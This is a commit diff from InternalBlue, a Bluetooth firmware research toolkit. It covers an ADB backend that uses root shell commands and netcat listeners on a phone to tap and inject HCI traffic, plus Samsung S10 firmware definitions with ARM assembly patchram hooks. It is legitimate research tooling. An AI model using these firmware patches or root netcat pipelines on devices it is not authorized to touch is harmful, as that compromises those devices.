random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
pos = 0
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.error("!!!! data was corrupted !!! %i" % pos)
# uhm and for deleting every 5th let's take numpy (oh why??)
# data = np.delete(data, np.arange(4, data.__len__(), 5))
# FIXME we didn't remove the 0x42 in this data set!! something is wrong here
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("s8_randomdata_pseudo-%irounds-reg0x%x-2s-corrected.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+31 -14
View File
@@ -1,27 +1,44 @@
from future import standard_library
standard_library.install_aliases()
import datetime
from queue import Queue
from typing import (
List,
Optional,
Any,
TYPE_CHECKING,
Tuple,
Union,
NewType,
Callable,
Dict,
)
Address = NewType("Address", int)
ConnectionNumber = NewType("ConnectionNumber", int)
ConnectionIndex = NewType("ConnectionIndex", int)
BluetoothAddress = NewType("BluetoothAddress", bytes)
ConnectionDict = NewType("ConnectionDict", Dict[str, Any])
HeapInformation = NewType("HeapInformation", Dict[str, Any])
QueueInformation = NewType("QueueInformation", Dict[str, Any])
MemoryPool = NewType("MemoryPool", Dict[str, Any])
try:
from queue import Queue
from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Union, NewType, Callable, Dict
if TYPE_CHECKING:
import datetime
from internalblue.hci import HCI
from internalblue.core import InternalBlue
Address = NewType("Address", int)
Record = Tuple[HCI, int, int, int, Any, datetime.datetime]
FilterFunction = Callable[[Record], bool]
ConnectionNumber = NewType("ConnectionNumber", int)
ConnectionIndex = NewType("ConnectionIndex", int)
BluetoothAddress = NewType("BluetoothAddress", bytes)
ConnectionDict = NewType("ConnectionDict", Dict[str,Any])
HeapInformation = NewType("HeapInformation", Dict[str, Any])
QueueInformation = NewType('QueueInformation', Dict[str, Any])
Opcode = NewType('Opcode', int)
HCI_CMD = NewType('HCI_CMD', int)
Task = Tuple[HCI_CMD, bytes, Queue.Queue, Callable[[Record], bool]]
Opcode = NewType("Opcode", int)
HCI_CMD = NewType("HCI_CMD", int)
Task = Tuple[HCI_CMD, bytes, Queue, Callable[[Record], bool]]
Device = NewType("Device", Dict[str, Any])
"""{"dev_id": dev_id,
View File
+171 -129
View File
@@ -1,27 +1,53 @@
#!/usr/bin/env python2
import struct
import threading
from time import sleep
from typing import Optional
from future import standard_library
standard_library.install_aliases()
from builtins import str
import datetime
import socket
import queue as queue2k
import random
from internalblue import hci
from internalblue.utils import bytes_to_hex
from pwn import *
from ppadb.device import Device
from ppadb.connection import Connection
from ppadb.client import Client as AdbClient
from . import hci
from .utils import bytes_to_hex
from .utils.packing import u32
from .core import InternalBlue
standard_library.install_aliases()
class ADBCore(InternalBlue):
def __init__(
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
serial=False,
data_directory=".",
replay=False,
):
super(ADBCore, self).__init__(
queue_size,
btsnooplog_filename,
log_level,
data_directory,
replay,
)
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', serial=False, data_directory=".", replay=False):
super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory, replay)
self.hciport = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
# Connect to adb device
self.hciport: Optional[int] = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
self.doublecheck = False
self.client = AdbClient(host="127.0.0.1", port=5037)
def device(self) -> Device:
return self.client.device(self.interface)
def device_list(self):
"""
@@ -32,34 +58,36 @@ class ADBCore(InternalBlue):
self.shutdown()
if self.running:
log.warn("Already running. call shutdown() first!")
self.logger.warning("Already running. call shutdown() first!")
return []
if self.replay:
return [(self, "adb_replay", 'adb: ReplayDevice' )]
return [(self, "adb_replay", "adb: ReplayDevice")]
# Check for connected adb devices
try:
adb_devices = adb.devices()
adb_devices = self.client.devices()
except ValueError:
log.info("Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`.")
self.logger.info(
"Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`."
)
adb_devices = 0
except:
adb_devices = 0
if adb_devices == 0 or len(adb_devices) == 0:
log.info("No adb devices found.")
self.logger.info("No adb devices found.")
return []
# At least one device found
log.info("Found multiple adb devices")
self.logger.info("Found multiple adb devices")
# Enumerate over found devices and put them into an array of tupple
# Enumerate over found devices and put them into an array of tuple
# First index is a self reference of the class
# Second index is the identifier which is passed to connect()
# Third index is the label which is shown in options(...)
device_list = []
for d in adb_devices:
device_list.append((self, d.serial, 'adb: %s (%s)' % (d.serial, d.model)))
device_list.append((self, d.serial, "adb: %s (%s)" % (d.get_serial_no(), d.get_properties()['ro.product.model'])))
return device_list
@@ -69,26 +97,27 @@ class ADBCore(InternalBlue):
device via adb and the debugging TCP ports.
"""
# Connect to adb device
context.device = self.interface
# setup sockets
# on magisk-rooted devices there is sometimes already a read socket and this first setup needs to be skipped...
if not self.serial:
if not self._setupSockets():
log.info("Could not connect using Bluetooth module.")
log.info("Trying to set up connection for rooted smartphone with busybox installed.")
self.logger.info("Could not connect using Bluetooth module.")
self.logger.info(
"Trying to set up connection for rooted smartphone with busybox installed."
)
else:
return True # successfully finished setup with bluetooth.default.so
if not self._setupSerialSu():
log.critical("Failed to setup scripts for rooted devices.")
self.logger.critical("Failed to setup scripts for rooted devices.")
return False
# try again
if not self._setupSockets():
log.critical("No connection to target device.")
log.info("Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n")
self.logger.critical("No connection to target device.")
self.logger.info(
"Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
)
return False
return True
@@ -99,14 +128,18 @@ class ADBCore(InternalBlue):
"""
data = self.s_snoop.recv(16)
if(len(data) < 16):
if len(data) < 16:
return None
if(self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
if (self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
self.btsnooplog_file.write(data)
self.btsnooplog_file.flush()
btsnoop_hdr = (data[:8], u32(data[8:12],endian="big"),u32(data[12:16],endian="big"))
log.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
btsnoop_hdr = (
data[:8],
u32(data[8:12], endian="big"),
u32(data[12:16], endian="big"),
)
self.logger.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
return btsnoop_hdr
def _btsnoop_parse_time(self, time):
@@ -121,7 +154,9 @@ class ADBCore(InternalBlue):
this field as 0x00E03AB44A676000.
"""
time_betw_0_and_2000_ad = int("0x00E03AB44A676000", 16)
time_since_2000_epoch = datetime.timedelta(microseconds=time) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
time_since_2000_epoch = datetime.timedelta(
microseconds=time
) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
return datetime.datetime(2000, 1, 1) + time_since_2000_epoch
def _recvThreadFunc(self):
@@ -134,29 +169,31 @@ class ADBCore(InternalBlue):
if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
"""
log.debug("Receive Thread started.")
self.logger.debug("Receive Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# Read the record header
record_hdr = b''
while(not self.exit_requested and len(record_hdr) < 24):
record_hdr = b""
while not self.exit_requested and len(record_hdr) < 24:
try:
recv_data = self.s_snoop.recv(24 - len(record_hdr))
log.debug("recvThreadFunc: received bt_snoop data " + bytes_to_hex(recv_data))
self.logger.debug(
"recvThreadFunc: received bt_snoop data "
+ bytes_to_hex(recv_data)
)
if len(recv_data) == 0:
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread...")
self.logger.info(
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread..."
)
self.exit_requested = True
break
record_hdr += recv_data
except socket.timeout:
pass # this is ok. just try again without error
pass # this is ok. just try again without error
if not record_hdr or len(record_hdr) != 24:
if not self.exit_requested:
log.warn("recvThreadFunc: Cannot recv record_hdr. stopping.")
self.logger.warning("recvThreadFunc: Cannot recv record_hdr. stopping.")
self.exit_requested = True
break
@@ -164,27 +201,31 @@ class ADBCore(InternalBlue):
self.btsnooplog_file.write(record_hdr)
self.btsnooplog_file.flush()
orig_len, inc_len, flags, drops, time64 = struct.unpack( ">IIIIq", record_hdr)
orig_len, inc_len, flags, drops, time64 = struct.unpack(
">IIIIq", record_hdr
)
# Read the record data
record_data = bytearray()
while(not self.exit_requested and len(record_data) < inc_len):
while not self.exit_requested and len(record_data) < inc_len:
try:
recv_data = self.s_snoop.recv(inc_len - len(record_data))
if len(recv_data) == 0:
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping..")
self.logger.info(
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping.."
)
self.exit_requested = True
break
record_data += bytearray(recv_data)
except socket.timeout:
pass # this is ok. just try again without error
pass # this is ok. just try again without error
if not record_data or len(record_data) != inc_len:
if not self.exit_requested:
log.warn("recvThreadFunc: Cannot recv data. stopping.")
self.logger.warning("recvThreadFunc: Cannot recv data. stopping.")
self.exit_requested = True
break
if self.write_btsnooplog:
self.btsnooplog_file.write(record_data)
self.btsnooplog_file.flush()
@@ -195,9 +236,18 @@ class ADBCore(InternalBlue):
parsed_time = None
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), orig_len, inc_len, flags, drops, parsed_time)
record = (
hci.parse_hci_packet(record_data),
orig_len,
inc_len,
flags,
drops,
parsed_time,
)
log.debug("_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0]))
# self.logger.debug(
# "_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
# )
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
@@ -205,8 +255,10 @@ class ADBCore(InternalBlue):
if filter_function == None or filter_function(record):
try:
queue.put(record, block=False)
except queue.Full:
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
except queue2k.Full:
self.logger.warning(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
# Call all callback functions inside registeredHciCallbacks and pass the
# record as argument.
@@ -214,12 +266,12 @@ class ADBCore(InternalBlue):
callback(record)
# Check if the stackDumpReceiver has noticed that the chip crashed.
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
# log.warn("recvThreadFunc: The controller sent a stack dump.")
# self.exit_requested = True
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happened:
# A stack dump has happened!
# self.logger.warning("recvThreadFunc: The controller sent a stack dump.")
# self.exit_requested = True
log.debug("Receive Thread terminated.")
self.logger.debug("Receive Thread terminated.")
def _setupSockets(self):
"""
@@ -233,45 +285,39 @@ class ADBCore(InternalBlue):
# (with multiple attached Android devices) we must not hard code the
# forwarded port numbers. Therefore we choose the port numbers
# randomly and hope that they are not already in use.
self.hciport = random.randint(60000, 65534) # minus 1, as we are using hciport + 1
log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
self.hciport = random.randint(
60000, 65534
) # minus 1, as we are using hciport + 1
self.logger.debug(
"_setupSockets: Selected random ports snoop=%d and inject=%d"
% (self.hciport, self.hciport + 1)
)
# Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.
saved_loglevel = context.log_level
context.log_level = 'warn'
try:
adb.adb(["forward", "tcp:%d" % (self.hciport), "tcp:8872"])
adb.adb(["forward", "tcp:%d" % (self.hciport + 1), "tcp:8873"])
except PwnlibException as e:
log.warn("Setup adb port forwarding failed: " + str(e))
return False
finally:
context.log_level = saved_loglevel
# Forward ports 8872 and 8873. Ignore self.logger.info() outputs by the adb function.
self.device().forward(f"tcp:{self.hciport}", "tcp:8872")
self.device().forward(f"tcp:{self.hciport+1}", "tcp:8873")
# Connect to hci injection port
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.s_inject.connect(('127.0.0.1', self.hciport + 1))
self.s_inject.connect(("127.0.0.1", self.hciport + 1))
self.s_inject.settimeout(0.5)
except socket.error:
log.warn("Could not connect to adb. Is your device authorized?")
self.logger.warning("Could not connect to adb. Is your device authorized?")
return False
# Connect to hci snoop log port
self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s_snoop.connect(('127.0.0.1', self.hciport))
self.s_snoop.connect(("127.0.0.1", self.hciport))
self.s_snoop.settimeout(0.5)
# Read btsnoop header
if (self._read_btsnoop_hdr() == None):
log.warn("Could not read btsnoop header")
if self._read_btsnoop_hdr() is None:
self.logger.warning("Could not read btsnoop header")
self.s_inject.close()
self.s_snoop.close()
self.s_inject = self.s_snoop = None
context.log_level = 'warn'
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
context.log_level = saved_loglevel
self.device().killforward_all()
return False
return True
@@ -280,23 +326,23 @@ class ADBCore(InternalBlue):
Close s_snoop and s_inject sockets. Remove port forwarding with adb.
"""
if (self.s_inject != None):
if self.s_inject != None:
self.s_inject.close()
self.s_inject = None
if (self.s_snoop != None):
if self.s_snoop != None:
self.s_snoop.close()
self.s_snoop = None
saved_loglevel = context.log_level
context.log_level = 'warn'
try:
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
except PwnlibException as e:
log.warn("Removing adb port forwarding failed: " + str(e))
return False
finally:
context.log_level = saved_loglevel
if self.hciport is not None:
hciport = self.hciport
self.device().killforward_all()
def _spawn(self, cmd: str):
conn: Connection = self.device().create_connection()
cmd = "exec:{}".format(cmd)
conn.send(cmd)
while True:
sleep(1)
def _setupSerialSu(self):
"""
@@ -319,45 +365,41 @@ class ADBCore(InternalBlue):
# In sending direction, the format is different.
self.serial = True
saved_loglevel = context.log_level
context.log_level = 'warn'
try:
# check dependencies
if adb.which('su') is None:
log.critical("su not found, rooted smartphone required!")
return False
if adb.process(['su', '-c', 'which', 'nc']).recvall() == '':
log.critical("nc not found, install busybox!")
return False
# automatically detect the proper serial device with lsof
logfile = adb.process(["su", "-c", "lsof | grep btsnoop_hci.log | awk '{print $NF}'"]).recvall().strip()
log.info("Android btsnoop logfile %s...", logfile)
interface = adb.process(["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]).recvall().strip()
log.info("Android Bluetooth interface %s...", interface)
if logfile == '':
log.critical("Could not find Bluetooth logfile. Enable Bluetooth snoop logging.")
return False
if interface == '':
log.critical("Could not find Bluetooth interface. Enable Bluetooth.")
return False
# spawn processes
adb.process(["su", "-c", 'tail -f -n +0 %s | nc -l -p 8872' % logfile])
adb.process(["su", "-c", "nc -l -p 8873 >/sdcard/internalblue_input.bin"])
adb.process(["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface])
sleep(2)
except PwnlibException as e:
log.warn("Serial scripting setup failed: " + str(e))
# check dependencies
which_cmd = '''
echo $PATH | while read -d: directory; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name="su")
su_path = self.device().shell(f"sh -c '{which_cmd}'")
if su_path is None or len(su_path) == 0:
self.logger.critical("su not found, rooted smartphone required!")
return False
finally:
context.log_level = saved_loglevel
if self.device().shell("su -c 'which nc'") == "":
self.logger.critical("nc not found, install busybox!")
return False
# automatically detect the proper serial device with lsof
logfile = self.device().shell("su -c \"lsof | grep btsnoop_hci.log | tail -n 1\" | awk '{print $NF}'")[:-1]
self.logger.info("Android btsnoop logfile %s...", logfile)
interface = self.device().shell("su -c \"lsof | grep bluetooth | grep tty\" | awk '{print $NF}'")[:-1]
self.logger.info("Android Bluetooth interface %s...", interface)
if logfile == "":
self.logger.critical("Could not find Bluetooth logfile. Enable Bluetooth snoop logging.")
return False
if interface == "":
self.logger.critical("Could not find Bluetooth interface. Enable Bluetooth.")
return False
# spawn processes
threading.Thread(target=self._spawn, args=(f"su -c \"tail -f -n +0 {logfile} | nc -l -p 8872\"",)).start()
threading.Thread(target=self._spawn, args=(f"su -c \"nc -l -p 8873 >/sdcard/internalblue_input.bin\"",)).start()
threading.Thread(target=self._spawn, args=(f"su -c \"tail -f /sdcard/internalblue_input.bin >>{interface}\"",)).start()
sleep(2)
return True
+1771 -203
View File
File diff suppressed because it is too large Load Diff
-1707
View File
File diff suppressed because it is too large Load Diff
+902 -398
View File
File diff suppressed because it is too large Load Diff
+1
View File
@@ -0,0 +1 @@
from .fw import FirmwareDefinition
+115 -23
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw.py
#
@@ -25,10 +25,86 @@
from builtins import hex
from builtins import object
from pwn import log
from types import ModuleType
from typing import List
from internalblue import Address
from internalblue.utils.internalblue_logger import getInternalBlueLogger
class MemorySection(object):
"""
All firmwares have memory sections that can be RAM, ROM or neither of both.
"""
def __init__(self, start_addr, end_addr, is_rom, is_ram):
self.start_addr: Address = start_addr
self.end_addr: Address = end_addr
self.is_rom: bool = is_rom
self.is_ram: bool = is_ram
def size(self) -> int:
return self.end_addr - self.start_addr
class FirmwareDefinition:
DEVICE_NAME: Address
BD_ADDR: Address
SECTIONS: List[MemorySection]
TRACEPOINT_BODY_ASM_SNIPPET: str
TRACEPOINT_HOOKS_LOCATION: int
TRACEPOINT_RAM_DUMP_PKT_COUNT = None
CONNECTION_STRUCT_LENGTH: int
FW_NAME: str
QUEUE_NAMES: List[str]
QUEUE_HEAD: Address
BLOC_HEAD: Address
SENDLCP_CODE_BASE_ADDRESS: Address
SENDLCP_ASM_CODE: str
SENDLMP_CODE_BASE_ADDRESS: Address
SENDLMP_ASM_CODE: str
FUZZLMP_HOOK_ADDRESS: Address
FUZZLMP_CODE_BASE_ADDRESS: Address
FUZZLMP_ASM_CODE: str
CONNECTION_LIST_ADDRESS: Address
CONNECTION_ARRAY_ADDRESS: Address
CONNECTION_MAX: int
PATCHRAM_VALUE_TABLE_ADDRESS: Address
PATCHRAM_TARGET_TABLE_ADDRESS: Address
PATCHRAM_ENABLED_BITMAP_ADDRESS: Address
PATCHRAM_ALIGNED: bool
PATCHRAM_NUMBER_OF_SLOTS: int
LAUNCH_RAM_PAUSE = None
LAUNCH_RAM = Address
HCI_EVENT_COMPLETE = Address
READ_MEM_ALIGNED_ASM_LOCATION: Address
READ_MEM_ALIGNED_ASM_SNIPPET: str
TRACEPOINT_HOOK_SIZE = None
TRACEPOINT_BODY_ASM_LOCATION: Address
TRACEPOINT_HOOK_ASM = None
ENHANCED_ADV_REPORT_ADDRESS: Address
class Firmware(object):
firmware: FirmwareDefinition
def __init__(self, version=None, iOS=False):
"""
Load and initialize the actual firmware add-ons for Nexus 5, Raspi3, etc.
@@ -37,40 +113,56 @@ class Firmware(object):
"""
self.version = version
self.firmware = None
# get and store 'InternalBlue' logger
logger = getInternalBlueLogger()
if version:
# get LMP Subversion
log.info("Chip identifier: 0x%04x (%03d.%03d.%03d)" %
(version, version >> 13, (version & 0xf00) >> 8, version & 0xff))
logger.info(
"Chip identifier: 0x%04x (%03d.%03d.%03d)"
% (version, version >> 13, (version & 0xF00) >> 8, version & 0xFF)
)
try:
# Fix for duplicate version number of evaluation board / iPhones
if iOS and version==0x420e:
self.firmware = __import__(__name__ + '_' + hex(version) + '_iphone', fromlist=[''])
log.info("Using fw_" + hex(version) + "_iphone.py")
if iOS and version == 0x420E:
self.firmware = self._module_to_firmware_definition(
__import__(
__name__ + "_" + hex(version) + "_iphone", fromlist=[""]
)
)
logger.info("Using fw_" + hex(version) + "_iphone.py")
else:
self.firmware = __import__(__name__ + '_' + hex(version), fromlist=[''])
log.info("Using fw_" + hex(version) + ".py")
self.firmware = self._module_to_firmware_definition(
__import__(__name__ + "_" + hex(version), fromlist=[""])
)
logger.info("Using fw_" + hex(version) + ".py")
except ImportError:
self.firmware = None
pass
if not version or not self.firmware:
self.firmware = __import__(__name__ + '_default', fromlist=[''])
self.firmware = self._module_to_firmware_definition(
__import__(__name__ + "_default", fromlist=[""])
)
log.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
logger.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
def _module_to_firmware_definition(self, fw: ModuleType) -> FirmwareDefinition:
"""
Wrap existing usages where the module was used and extract the new FirmwareDefinition class
class MemorySection(object):
"""
All firmwares have memory sections that can be RAM, ROM or neither of both.
"""
def __init__(self, start_addr, end_addr, is_rom, is_ram):
self.start_addr = start_addr
self.end_addr = end_addr
self.is_rom = is_rom
self.is_ram = is_ram
:param fw:
:return:
"""
_types = {
name: cls
for name, cls in fw.__dict__.items()
if isinstance(cls, type)
and issubclass(cls, FirmwareDefinition)
and cls is not FirmwareDefinition
}
def size(self):
return self.end_addr - self.start_addr
if len(_types) == 1:
return list(_types.values())[0]
+137 -129
View File
@@ -1,9 +1,8 @@
from __future__ import absolute_import
# fw_0x420e.py
#!/usr/bin/env python
# fw_0x1111.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -21,138 +20,147 @@ from __future__ import absolute_import
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection
# Firmware Infos
# Samsung S10/S10e/S10+
FW_NAME = "BCM4375B1"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
# Device Infos
DEVICE_NAME = 0x207f2a
BD_ADDR = 0x2026e2
class BCM4375B1(FirmwareDefinition):
# Firmware Infos
# Samsung S10/S10e/S10+/S20
FW_NAME = "BCM4375B1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x0013ffff, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017ffff, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x0037ffff, False, True),
]
# Device Infos
DEVICE_NAME = 0x207F2A
BD_ADDR = 0x2026E2
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
BLOC_HEAD = 0x20075c
BLOC_NG = True
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x0037FFFF, False, True),
]
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
# Assembly of the original function from an eval board does not work...
#TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
#TRACEPOINT_HOOKS_LOCATION = 0x00218500
#TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
BLOC_HEAD = 0x20075C
BLOC_NG = True
TRACEPOINT_BODY_ASM_SNIPPET = """
# Enable enhanced advertisement reports (bEnhancedAdvReport)
# tested but by default the S10 only uses the LE Extended format, which is different...
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20D176)
mov r8, lr // save link register in r8
b delete_slot
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
# TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying
# Assembly of the original function from an eval board does not work...
# TRACEPOINT_BODY_ASM_LOCATION = 0x00218300
# TRACEPOINT_HOOKS_LOCATION = 0x00218500
# TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r9, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0x2774 // memcpy(dst, src, len) #DONE
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x6cfa8 // hci_sendEvent #DONE
// restore status register
msr cpsr_f, r5
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
// not possible... could not find patch_uninstallPatchEntry(slot)
// -> disable TP by hand, we stored in r9
// TODO - does not work??
delete_slot:
mov r0, #0
mov r1, r0
lsl r0, r0, #0x2
ldr r3, =0x00310404
sub.w r0, r0, #0x400
add r3, #0x3c
add r0, r3
movw r2, #0xffff
str r2, [r0, #0x0]
ldr r0,=0x00310404
add r0, #0x2c
ldr r2, [r0,#0x0]
mov r3, #0x1
lsl r3, r1
bic r2, r3
str r2, [r0, #0x0]
mov lr, r8 // restore lr from r8
bx lr // return
.align
patchram:
.byte 0x04
.byte 0x04
.byte 0x31
.byte 0x00
"""
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
b delete_slot
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0x2774 // memcpy(dst, src, len) #DONE
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x6cfa8 // hci_sendEvent #DONE
// restore status register
msr cpsr_f, r5
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
// not possible... could not find patch_uninstallPatchEntry(slot)
// -> disable TP by hand, we stored in r9
// TODO - does not work??
delete_slot:
mov r0, #0
mov r1, r0
lsl r0, r0, #0x2
ldr r3, =0x00310404
sub.w r0, r0, #0x400
add r3, #0x3c
add r0, r3
movw r2, #0xffff
str r2, [r0, #0x0]
ldr r0,=0x00310404
add r0, #0x2c
ldr r2, [r0,#0x0]
mov r3, #0x1
lsl r3, r1
bic r2, r3
str r2, [r0, #0x0]
mov lr, r8 // restore lr from r8
bx lr // return
.align
patchram:
.byte 0x04
.byte 0x04
.byte 0x31
.byte 0x00
"""
+49
View File
@@ -0,0 +1,49 @@
#!/usr/bin/env python
# fw_0x2033.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
